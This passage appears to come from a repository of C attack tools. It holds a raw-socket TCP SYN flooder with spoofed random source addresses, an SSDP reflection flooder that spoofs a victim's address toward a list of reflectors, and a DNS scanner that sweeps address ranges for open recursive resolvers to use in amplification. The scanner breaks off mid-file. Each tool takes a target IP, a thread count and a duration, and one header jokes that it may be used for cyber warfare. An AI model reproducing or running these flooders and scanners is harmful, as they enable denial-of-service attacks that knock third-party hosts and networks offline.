 39 | {
 40 |         unsigned long long int t, a = 18782LL;
 41 |         static unsigned long int i = 4095;
 42 |         unsigned long int x, r = 0xfffffffe;
 43 |         i = (i + 1) & 4095;
 44 |         t = a * Q[i] + c;
 45 |         c = (t >> 32);
 46 |         x = t + c;
 47 |         if (x < c) {
 48 |                 x++;
 49 |                 c++;
 50 |         }
 51 |         return (Q[i] = r - x);
 52 | }
 53 | unsigned short csum (unsigned short *buf, int count)
 54 | {
 55 |         register unsigned long sum = 0;
 56 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 57 |         if(count > 0) { sum += *(unsigned char *)buf; }
 58 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 59 |         return (unsigned short)(~sum);
 60 | }
 61 |  
 62 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 63 |  
 64 |         struct tcp_pseudo
 65 |         {
 66 |                 unsigned long src_addr;
 67 |                 unsigned long dst_addr;
 68 |                 unsigned char zero;
 69 |                 unsigned char proto;
 70 |                 unsigned short length;
 71 |         } pseudohead;
 72 |         unsigned short total_len = iph->tot_len;
 73 |         pseudohead.src_addr=iph->saddr;
 74 |         pseudohead.dst_addr=iph->daddr;
 75 |         pseudohead.zero=0;
 76 |         pseudohead.proto=IPPROTO_TCP;
 77 |         pseudohead.length=htons(sizeof(struct tcphdr));
 78 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 79 |         unsigned short *tcp = malloc(totaltcp_len);
 80 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 81 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 82 |         unsigned short output = csum(tcp,totaltcp_len);
 83 |         free(tcp);
 84 |         return output;
 85 | }
 86 |  
 87 | void setup_ip_header(struct iphdr *iph)
 88 | {
 89 |         iph->ihl = 5;
 90 |         iph->version = 4;
 91 |         iph->tos = 0;
 92 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 93 |         iph->id = htonl(54321);
 94 |         iph->frag_off = 0;
 95 |         iph->ttl = MAXTTL;
 96 |         iph->protocol = 6;
 97 |         iph->check = 0;
 98 |         iph->saddr = inet_addr("192.168.3.100");
 99 | }
100 |  
101 | void setup_tcp_header(struct tcphdr *tcph)
102 | {
103 |         tcph->source = htons(5678);
104 |         tcph->seq = rand();
105 |         tcph->ack_seq = 1;
106 |         tcph->res2 = 1;
107 |         tcph->doff = 5;
108 |         tcph->syn = 1;
109 |         tcph->window = htons(65535);
110 |         tcph->check = 1;
111 |         tcph->urg_ptr = 1;
112 | }
113 |  
114 | void *flood(void *par1)
115 | {
116 |         char *td = (char *)par1;
117 |         char datagram[MAX_PACKET_SIZE];
118 |         struct iphdr *iph = (struct iphdr *)datagram;
119 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
120 |        
121 |         struct sockaddr_in sin;
122 |         sin.sin_family = AF_INET;
123 |         sin.sin_port = htons(floodport);
124 |         sin.sin_addr.s_addr = inet_addr(td);
125 |  
126 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
127 |         if(s < 0){
128 |                 fprintf(stderr, "Could not open raw socket.\n");
129 |                 exit(-1);
130 |         }
131 |         memset(datagram, 0, MAX_PACKET_SIZE);
132 |         setup_ip_header(iph);
133 |         setup_tcp_header(tcph);
134 |  
135 |         tcph->dest = htons(floodport);
136 |  
137 |         iph->daddr = sin.sin_addr.s_addr;
138 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
139 |  
140 |         int tmp = 1;
141 |         const int *val = &tmp;
142 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
143 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
144 |                 exit(-1);
145 |         }
146 |  
147 |         init_rand(time(NULL));
148 |         register unsigned int i;
149 |         i = 0;
150 |         while(1){
151 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
152 |  
153 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
154 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
155 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
156 |                 tcph->seq = rand_cmwc() & 0xFFFF;
157 |                 tcph->source = htons(rand_cmwc() & 0xFFFF);
158 |                 tcph->check = 0;
159 |                 tcph->check = tcpcsum(iph, tcph);
160 |                
161 |                 pps++;
162 |                 if(i >= limiter)
163 |                 {
164 |                         i = 0;
165 |                         usleep(sleeptime);
166 |                 }
167 |                 i++;
168 |         }
169 | }
170 | int main(int argc, char *argv[ ])
171 | {
172 |         if(argc < 6){
173 |                 fprintf(stderr, "Invalid parameters!\n");
174 |                 fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
175 |                 exit(-1);
176 |         }
177 |  
178 |         fprintf(stdout, "Setting up Sockets...\n");
179 |  
180 |         int num_threads = atoi(argv[3]);
181 |         floodport = atoi(argv[2]);
182 |         int maxpps = atoi(argv[4]);
183 |         limiter = 0;
184 |         pps = 0;
185 |         pthread_t thread[num_threads];
186 |        
187 |         int multiplier = 20;
188 |  
189 |         int i;
190 |         for(i = 0;i<num_threads;i++){
191 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
192 |         }
193 |         fprintf(stdout, "Starting Flood...\n");
194 |         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
195 |         {
196 |                 usleep((1000/multiplier)*1000);
197 |                 if((pps*multiplier) > maxpps)
198 |                 {
199 |                         if(1 > limiter)
200 |                         {
201 |                                 sleeptime+=100;
202 |                         } else {
203 |                                 limiter--;
204 |                         }
205 |                 } else {
206 |                         limiter++;
207 |                         if(sleeptime > 25)
208 |                         {
209 |                                 sleeptime-=25;
210 |                         } else {
211 |                                 sleeptime = 0;
212 |                         }
213 |                 }
214 |                 pps = 0;
215 |         }
216 |  
217 |         return 0;
218 | }


--------------------------------------------------------------------------------
/xsyn.c.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <unistd.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <string.h>
  6 | #include <sys/socket.h>
  7 | #include <netinet/ip.h>
  8 | #include <netinet/tcp.h>
  9 | #include <time.h>
 10 | #define MAX_PACKET_SIZE 4096
 11 | #define PHI 0x9e3779b9
 12 |  
 13 | static unsigned long int Q[4096], c = 362436;
 14 | static unsigned int floodport;
 15 | volatile int limiter;
 16 | volatile unsigned int pps;
 17 | volatile unsigned int sleeptime = 100;
 18 |  
 19 | void init_rand(unsigned long int x)
 20 | {
 21 |         int i;
 22 |         Q[0] = x;
 23 |         Q[1] = x + PHI;
 24 |         Q[2] = x + PHI + PHI;
 25 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 26 | }
 27 | unsigned long int rand_cmwc(void)
 28 | {
 29 |         unsigned long long int t, a = 18782LL;
 30 |         static unsigned long int i = 4095;
 31 |         unsigned long int x, r = 0xfffffffe;
 32 |         i = (i + 1) & 4095;
 33 |         t = a * Q[i] + c;
 34 |         c = (t >> 32);
 35 |         x = t + c;
 36 |         if (x < c) {
 37 |                 x++;
 38 |                 c++;
 39 |         }
 40 |         return (Q[i] = r - x);
 41 | }
 42 | unsigned short csum (unsigned short *buf, int count)
 43 | {
 44 |         register unsigned long sum = 0;
 45 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 46 |         if(count > 0) { sum += *(unsigned char *)buf; }
 47 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 48 |         return (unsigned short)(~sum);
 49 | }
 50 |  
 51 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 52 |  
 53 |         struct tcp_pseudo
 54 |         {
 55 |                 unsigned long src_addr;
 56 |                 unsigned long dst_addr;
 57 |                 unsigned char zero;
 58 |                 unsigned char proto;
 59 |                 unsigned short length;
 60 |         } pseudohead;
 61 |         unsigned short total_len = iph->tot_len;
 62 |         pseudohead.src_addr=iph->saddr;
 63 |         pseudohead.dst_addr=iph->daddr;
 64 |         pseudohead.zero=0;
 65 |         pseudohead.proto=IPPROTO_TCP;
 66 |         pseudohead.length=htons(sizeof(struct tcphdr));
 67 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 68 |         unsigned short *tcp = malloc(totaltcp_len);
 69 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 70 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 71 |         unsigned short output = csum(tcp,totaltcp_len);
 72 |         free(tcp);
 73 |         return output;
 74 | }
 75 |  
 76 | void setup_ip_header(struct iphdr *iph)
 77 | {
 78 |         char ip[17];
 79 |         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
 80 |         iph->ihl = 5;
 81 |         iph->version = 4;
 82 |         iph->tos = 0;
 83 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 84 |         iph->id = htonl(rand()%54321);
 85 |         iph->frag_off = 0;
 86 |         iph->ttl = MAXTTL;
 87 |         iph->protocol = 6;
 88 |         iph->check = 0;
 89 |         iph->saddr = inet_addr(ip);
 90 | }
 91 |  
 92 | void setup_tcp_header(struct tcphdr *tcph)
 93 | {
 94 |         tcph->source = htons(rand()%65535);
 95 |         tcph->seq = rand();
 96 |         tcph->ack_seq = 0;
 97 |         tcph->res2 = 0;
 98 |         tcph->doff = 5;
 99 |         tcph->syn = 1;
100 |         tcph->window = htonl(65535);
101 |         tcph->check = 0;
102 |         tcph->urg_ptr = 0;
103 | }
104 |  
105 | void *flood(void *par1)
106 | {
107 |         char *td = (char *)par1;
108 |         char datagram[MAX_PACKET_SIZE];
109 |         struct iphdr *iph = (struct iphdr *)datagram;
110 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
111 |        
112 |         struct sockaddr_in sin;
113 |         sin.sin_family = AF_INET;
114 |         sin.sin_port = htons(floodport);
115 |         sin.sin_addr.s_addr = inet_addr(td);
116 |  
117 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
118 |         if(s < 0){
119 |                 fprintf(stderr, "Could not open raw socket.\n");
120 |                 exit(-1);
121 |         }
122 |         memset(datagram, 0, MAX_PACKET_SIZE);
123 |         setup_ip_header(iph);
124 |         setup_tcp_header(tcph);
125 |  
126 |         tcph->dest = htons(floodport);
127 |  
128 |         iph->daddr = sin.sin_addr.s_addr;
129 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
130 |  
131 |         int tmp = 1;
132 |         const int *val = &tmp;
133 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
134 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
135 |                 exit(-1);
136 |         }
137 |  
138 |         init_rand(time(NULL));
139 |         register unsigned int i;
140 |         i = 0;
141 |         while(1){
142 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
143 |                 setup_ip_header(iph);
144 |                 setup_tcp_header(tcph);
145 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
146 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
147 |  
148 |  
149 |                 tcph->dest = htons(floodport);
150 |  
151 |                 iph->daddr = sin.sin_addr.s_addr;
152 |  
153 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
154 |                 tcph->seq = rand_cmwc() & 0xFFFF;
155 |                 tcph->source = htons(rand_cmwc() & 0xFFFF);
156 |                 tcph->check = 0;
157 |                 tcph->check = tcpcsum(iph, tcph);
158 |                
159 |                 pps++;
160 |                 if(i >= limiter)
161 |                 {
162 |                         i = 0;
163 |                         usleep(sleeptime);
164 |                 }
165 |                 i++;
166 |         }
167 | }
168 | int main(int argc, char *argv[ ])
169 | {
170 |         if(argc < 6){
171 |                 fprintf(stderr, "Invalid parameters!\n");
172 |                 fprintf(stdout, "SSYN Flooder by LSDEV\nImproved by Starfall\nUsage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
173 |                 exit(-1);
174 |         }
175 |         srand(time(0));
176 |         fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
177 |  
178 |         int num_threads = atoi(argv[3]);
179 |         floodport = atoi(argv[2]);
180 |         int maxpps = atoi(argv[4]);
181 |         limiter = 0;
182 |         pps = 0;
183 |         pthread_t thread[num_threads];
184 |        
185 |         int multiplier = 20;
186 |  
187 |         int i;
188 |         for(i = 0;i<num_threads;i++){
189 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
190 |         }
191 |         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
192 |         {
193 |                 usleep((1000/multiplier)*1000);
194 |                 if((pps*multiplier) > maxpps)
195 |                 {
196 |                         if(1 > limiter)
197 |                         {
198 |                                 sleeptime+=100;
199 |                         } else {
200 |                                 limiter--;
201 |                         }
202 |                 } else {
203 |                         limiter++;
204 |                         if(sleeptime > 25)
205 |                         {
206 |                                 sleeptime-=25;
207 |                         } else {
208 |                                 sleeptime = 0;
209 |                         }
210 |                 }
211 |                 pps = 0;
212 |         }
213 |  
214 |         return 0;
215 | }


--------------------------------------------------------------------------------
/ssdp.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <time.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 | #include <arpa/inet.h>
 14 | #define MAX_PACKET_SIZE 8192
 15 | #define PHI 0x9e3779b9
 16 | static uint32_t Q[4096], c = 362436;
 17 | struct list
 18 | {
 19 |         struct sockaddr_in data;
 20 |         struct list *next;
 21 |         struct list *prev;
 22 | };
 23 | struct list *head;
 24 | volatile int tehport;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 29 | void init_rand(uint32_t x)
 30 | {
 31 |         int i;
 32 |         Q[0] = x;
 33 |         Q[1] = x + PHI;
 34 |         Q[2] = x + PHI + PHI;
 35 |         for (i = 3; i < 4096; i++)
 36 |         {
 37 |         Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 38 |         }
 39 | }
 40 | uint32_t rand_cmwc(void)
 41 | {
 42 |         uint64_t t, a = 18782LL;
 43 |         static uint32_t i = 4095;
 44 |         uint32_t x, r = 0xfffffffe;
 45 |         i = (i + 1) & 4095;
 46 |         t = a * Q[i] + c;
 47 |         c = (t >> 32);
 48 |         x = t + c;
 49 |         if (x < c) {
 50 |         x++;
 51 |         c++;
 52 |         }
 53 |         return (Q[i] = r - x);
 54 | }
 55 | unsigned short csum (unsigned short *buf, int nwords)
 56 | {
 57 |         unsigned long sum = 0;
 58 |         for (sum = 0; nwords > 0; nwords--)
 59 |         sum += *buf++;
 60 |         sum = (sum >> 16) + (sum & 0xffff);
 61 |         sum += (sum >> 16);
 62 |         return (unsigned short)(~sum);
 63 | }
 64 | void setup_ip_header(struct iphdr *iph)
 65 | {
 66 |         iph->ihl = 5;
 67 |         iph->version = 4;
 68 |         iph->tos = 0;
 69 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 90;
 70 |         iph->id = htonl(54321);
 71 |         iph->frag_off = 0;
 72 |         iph->ttl = MAXTTL;
 73 |         iph->protocol = IPPROTO_UDP;
 74 |         iph->check = 0;
 75 |         iph->saddr = inet_addr("192.168.3.100");
 76 | }
 77 | void setup_udp_header(struct udphdr *udph)
 78 | {
 79 |         udph->source = htons(5678);
 80 |         udph->dest = htons(1900);
 81 |         udph->check = 0;
 82 |         strcpy((void *)udph + sizeof(struct udphdr), "M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n");
 83 |         udph->len=htons(sizeof(struct udphdr) + 90);
 84 | }
 85 | void *flood(void *par1)
 86 | {
 87 |         struct thread_data *td = (struct thread_data *)par1;
 88 |         char datagram[MAX_PACKET_SIZE];
 89 |         struct iphdr *iph = (struct iphdr *)datagram;
 90 |         struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 91 |         struct sockaddr_in sin = td->sin;
 92 |         struct  list *list_node = td->list_node;
 93 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 94 |         if(s < 0){
 95 |         fprintf(stderr, "Could not open raw socket.\n");
 96 |         exit(-1);
 97 |         }
 98 |         init_rand(time(NULL));
 99 |         memset(datagram, 0, MAX_PACKET_SIZE);
100 |         setup_ip_header(iph);
101 |         setup_udp_header(udph);
102 |         udph->source = htons(rand() % 65535 - 1026);
103 |         iph->saddr = sin.sin_addr.s_addr;
104 |         iph->daddr = list_node->data.sin_addr.s_addr;
105 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
106 |         int tmp = 1;
107 |         const int *val = &tmp;
108 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
109 |         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
110 |         exit(-1);
111 |         }
112 |         init_rand(time(NULL));
113 |         register unsigned int i;
114 |         i = 0;
115 |         while(1){
116 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
117 |                 list_node = list_node->next;
118 |                 iph->daddr = list_node->data.sin_addr.s_addr;
119 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
120 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
121 |                
122 |                 pps++;
123 |                 if(i >= limiter)
124 |                 {
125 |                         i = 0;
126 |                         usleep(sleeptime);
127 |                 }
128 |                 i++;
129 |         }
130 | }
131 | int main(int argc, char *argv[ ])
132 | {
133 |         if(argc < 6){
134 |         fprintf(stderr, "Invalid parameters!\n");
135 |         fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
136 |                 exit(-1);
137 |         }
138 |         srand(time(NULL));
139 |         int i = 0;
140 |         head = NULL;
141 |         fprintf(stdout, "Setting up sockets...\n");
142 |         int max_len = 128;
143 |         char *buffer = (char *) malloc(max_len);
144 |         buffer = memset(buffer, 0x00, max_len);
145 |         int num_threads = atoi(argv[4]);
146 |         int maxpps = atoi(argv[5]);
147 |         limiter = 0;
148 |         pps = 0;
149 |         int multiplier = 20;
150 |         FILE *list_fd = fopen(argv[3],  "r");
151 |         while (fgets(buffer, max_len, list_fd) != NULL) {
152 |                 if ((buffer[strlen(buffer) - 1] == '\n') ||
153 |                                 (buffer[strlen(buffer) - 1] == '\r')) {
154 |                         buffer[strlen(buffer) - 1] = 0x00;
155 |                         if(head == NULL)
156 |                         {
157 |                                 head = (struct list *)malloc(sizeof(struct list));
158 |                                 bzero(&head->data, sizeof(head->data));
159 |                                 head->data.sin_addr.s_addr=inet_addr(buffer);
160 |                                 head->next = head;
161 |                                 head->prev = head;
162 |                         } else {
163 |                                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
164 |                                 memset(new_node, 0x00, sizeof(struct list));
165 |                                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
166 |                                 new_node->prev = head;
167 |                                 new_node->next = head->next;
168 |                                 head->next = new_node;
169 |                         }
170 |                         i++;
171 |                 } else {
172 |                         continue;
173 |                 }
174 |         }
175 |         struct list *current = head->next;
176 |         pthread_t thread[num_threads];
177 |         struct sockaddr_in sin;
178 |         sin.sin_family = AF_INET;
179 |         sin.sin_addr.s_addr = inet_addr(argv[1]);
180 |         struct thread_data td[num_threads];
181 |         for(i = 0;i<num_threads;i++){
182 |                 td[i].thread_id = i;
183 |                 td[i].sin= sin;
184 |                 td[i].list_node = current;
185 |                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
186 |         }
187 |         fprintf(stdout, "Starting flood...\n");
188 |         for(i = 0;i<(atoi(argv[6])*multiplier);i++)
189 |         {
190 |                 usleep((1000/multiplier)*1000);
191 |                 if((pps*multiplier) > maxpps)
192 |                 {
193 |                         if(1 > limiter)
194 |                         {
195 |                                 sleeptime+=100;
196 |                         } else {
197 |                                 limiter--;
198 |                         }
199 |                 } else {
200 |                         limiter++;
201 |                         if(sleeptime > 25)
202 |                         {
203 |                                 sleeptime-=25;
204 |                         } else {
205 |                                 sleeptime = 0;
206 |                         }
207 |                 }
208 |                 pps = 0;
209 |         }
210 |         return 0;
211 | }


--------------------------------------------------------------------------------
/dns_scanner.c.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <unistd.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <string.h>
  6 | #include <sys/socket.h>
  7 | #include <netinet/in.h>
  8 | #include <signal.h>
  9 | #include <sys/time.h>
 10 | #include <sys/types.h>
 11 | #include <math.h>
 12 | #include <stropts.h>
 13 | #include <ctype.h>
 14 | #include <errno.h>
 15 | #include <arpa/inet.h>
 16 | #include <netinet/ip.h>
 17 | #include <netinet/udp.h>
 18 |  
 19 | struct DNS_HEADER
 20 | {
 21 |         unsigned short id; // identification number
 22 |  
 23 |         unsigned char rd :1; // recursion desired
 24 |         unsigned char tc :1; // truncated message
 25 |         unsigned char aa :1; // authoritive answer
 26 |         unsigned char opcode :4; // purpose of message
 27 |         unsigned char qr :1; // query/response flag
 28 |  
 29 |         unsigned char rcode :4; // response code
 30 |         unsigned char cd :1; // checking disabled
 31 |         unsigned char ad :1; // authenticated data
 32 |         unsigned char z :1; // its z! reserved
 33 |         unsigned char ra :1; // recursion available
 34 |  
 35 |         unsigned short q_count; // number of question entries
 36 |         unsigned short ans_count; // number of answer entries
 37 |         unsigned short auth_count; // number of authority entries
 38 |         unsigned short add_count; // number of resource entries
 39 | };
 40 |  
 41 | struct QUESTION
 42 | {
 43 |         unsigned short qtype;
 44 |         unsigned short qclass;
 45 | };
 46 |  
 47 | #pragma pack(push, 1)
 48 | struct R_DATA
 49 | {
 50 |         unsigned short type;
 51 |         unsigned short _class;
 52 |         unsigned int ttl;
 53 |         unsigned short data_len;
 54 | };
 55 | #pragma pack(pop)
 56 |  
 57 | struct RES_RECORD
 58 | {
 59 |         unsigned char *name;
 60 |         struct R_DATA *resource;
 61 |         unsigned char *rdata;
 62 | };
 63 |  
 64 | typedef struct
 65 | {
 66 |         unsigned char *name;
 67 |         struct QUESTION *ques;
 68 | } QUERY;
 69 |  
 70 | volatile int running_threads = 0;
 71 | volatile int found_srvs = 0;
 72 | volatile unsigned long per_thread = 0;
 73 | volatile unsigned long start = 0;
 74 | volatile unsigned long scanned = 0;
 75 | volatile int sleep_between = 0;
 76 | volatile int bytes_sent = 0;
 77 | volatile unsigned long hosts_done = 0;
 78 | FILE *fd;
 79 |  
 80 | void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
 81 | {
 82 |         int lock = 0 , i;
 83 |         strcat((char*)host,".");
 84 |  
 85 |         for(i = 0 ; i < strlen((char*)host) ; i++)
 86 |         {
 87 |                 if(host[i]=='.')
 88 |                 {
 89 |                         *dns++ = i-lock;
 90 |                         for(;lock<i;lock++)
 91 |                         {
 92 |                                 *dns++=host[lock];
 93 |                         }
 94 |                         lock++;
 95 |                 }
 96 |         }
 97 |         *dns++='\0';
 98 | }
 99 |  
100 | void *flood(void *par1)
101 | {
102 |         running_threads++;
103 |         int thread_id = (int)par1;
104 |         unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
105 |         unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
106 |         unsigned long w;
107 |         int y;
108 |         unsigned char *host = (unsigned char *)malloc(50);
109 |         strcpy((char *)host, ".");
110 |         unsigned char buf[65536],*qname;
111 |         struct DNS_HEADER *dns = NULL;
112 |         struct QUESTION *qinfo = NULL;
113 |         dns = (struct DNS_HEADER *)&buf;
114 |  
115 |         dns->id = (unsigned short) htons(rand());
116 |         dns->qr = 0;
117 |         dns->opcode = 0;
118 |         dns->aa = 0;
119 |         dns->tc = 0;
120 |         dns->rd = 1;
121 |         dns->ra = 0;
122 |         dns->z = 0;
123 |         dns->ad = 0;
124 |         dns->cd = 0;
125 |         dns->rcode = 0;
126 |         dns->q_count = htons(1);
127 |         dns->ans_count = 0;
128 |         dns->auth_count = 0;
129 |         dns->add_count = htons(1);
130 |         qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];
131 |  
132 |         ChangetoDnsNameFormat(qname , host);
133 |         qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)];
134 |  
135 |         qinfo->qtype = htons( 255 );
136 |         qinfo->qclass = htons(1);
137 |  
138 |         void *edns = (void *)qinfo + sizeof(struct QUESTION)+1;
139 |         memset(edns, 0x00, 1);
140 |         memset(edns+1, 0x29, 1);
141 |         memset(edns+2, 0xFF, 2);
142 |         memset(edns+4, 0x00, 7);
143 |  
144 |         int sizeofpayload = sizeof(struct DNS_HEADER) + (strlen((const char *)qname)+1) + sizeof(struct QUESTION) + 11;
145 |         int sock;
146 |         if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
147 |                 perror("cant open socket");
148 |                 exit(-1);
149 |         }
150 |         for(w=ntohl(start_ip);w<htonl(end);w++)
151 |         {
152 |                 struct sockaddr_in servaddr;
153 |                 bzero(&servaddr, sizeof(servaddr));
154 |                 servaddr.sin_family = AF_INET;
155 |                 servaddr.sin_addr.s_addr=htonl(w);
156 |                 servaddr.sin_port=htons(53);
157 |                 sendto(sock,(char *)buf,sizeofpayload,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
158 |                 bytes_sent+=24;
159 |                 scanned++;
160 |                 hosts_done++;
161 |                 usleep(sleep_between*1000);
162 |         }
163 |         close(sock);
164 |         running_threads--;
165 |         return;
166 | }
167 |  
168 | void sighandler(int sig)
169 | {
170 |         fclose(fd);
171 |         printf("\n");
172 |         exit(0);
173 | }
174 |  
175 | void recievethread()
176 | {
177 |         printf("Started Listening Thread\n");
178 |         int saddr_size, data_size, sock_raw;
179 |         struct sockaddr_in saddr;
180 |         struct in_addr in;
181 |  
182 |         unsigned char *buffer = (unsigned char *)malloc(65536);
183 |         sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
184 |         if(sock_raw < 0)
185 |         {
186 |                 printf("Socket Error\n");
187 |                 exit(1);
188 |         }
189 |         while(1)
190 |         {
191 |                 saddr_size = sizeof saddr;
192 |                 data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
193 |                 if(data_size <0 )
194 |                 {
195 |                         printf("Recvfrom error , failed to get packets\n");
196 |                         exit(1);
197 |                 }
198 |                 struct iphdr *iph = (struct iphdr*)buffer;
199 |                 if(iph->protocol == 17)
200 |                 {
201 |                         unsigned short iphdrlen = iph->ihl*4;
202 |                         struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
203 |                         unsigned char* payload = buffer + iphdrlen + 8;
204 |                         if(ntohs(udph->source) == 53)
205 |                         {
206 |                                 int body_length = data_size - iphdrlen - 8;
207 |                                 struct DNS_HEADER *dns = (struct DNS_HEADER*) payload;
208 |                                 if(dns->ra == 1)
209 |                                 {
210 |                                         found_srvs++;
211 |                                         fprintf(fd,"%s . %d\n",inet_ntoa(saddr.sin_addr),body_length);
212 |                                         fflush(fd);
213 |                                 }
214 |                         }
215 |                 }
216 |  
217 |         }
218 |         close(sock_raw);
219 |  
220 | }
221 |  
222 | int main(int argc, char *argv[ ])
223 | {
224 |  
225 |         if(argc < 6){
226 |                 fprintf(stderr, "Invalid parameters!\n");
227 |                 fprintf(stdout, "Usage: %s <class a start> <class a end> <outfile> <threads> <scan delay in ms>\n", argv[0]);
228 |                 exit(-1);
229 |         }
230 |         fd = fopen(argv[3], "a");
231 |         sleep_between = atoi(argv[5]);
232 |  
233 |         signal(SIGINT, &sighandler);
234 |  
235 |         int threads = atoi(argv[4]);
236 |         pthread_t thread;
237 |  
238 |         pthread_t listenthread;
239 |         pthread_create( &listenthread, NULL, &recievethread, NULL);
240 |  
241 |         char *str_start = malloc(18);
242 |         memset(str_start, 0, 18);
243 |         str_start = strcat(str_start,argv[1]);
244 |         str_start = strcat(str_start,".0.0.0");
245 |         char *str_end = malloc(18);
246 |         memset(str_end, 0, 18);
247 |         str_end = strcat(str_end,argv[2]);
248 |         str_end = strcat(str_end,".255.255.255");
249 |         start = inet_addr(str_start);
250 |         per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
251 |         unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
252 |         int i;
253 |         for(i = 0;i<threads;i++){
254 |                 pthread_create( &thread, NULL, &flood, (void *) i);
255 |         }
256 |         sleep(1);
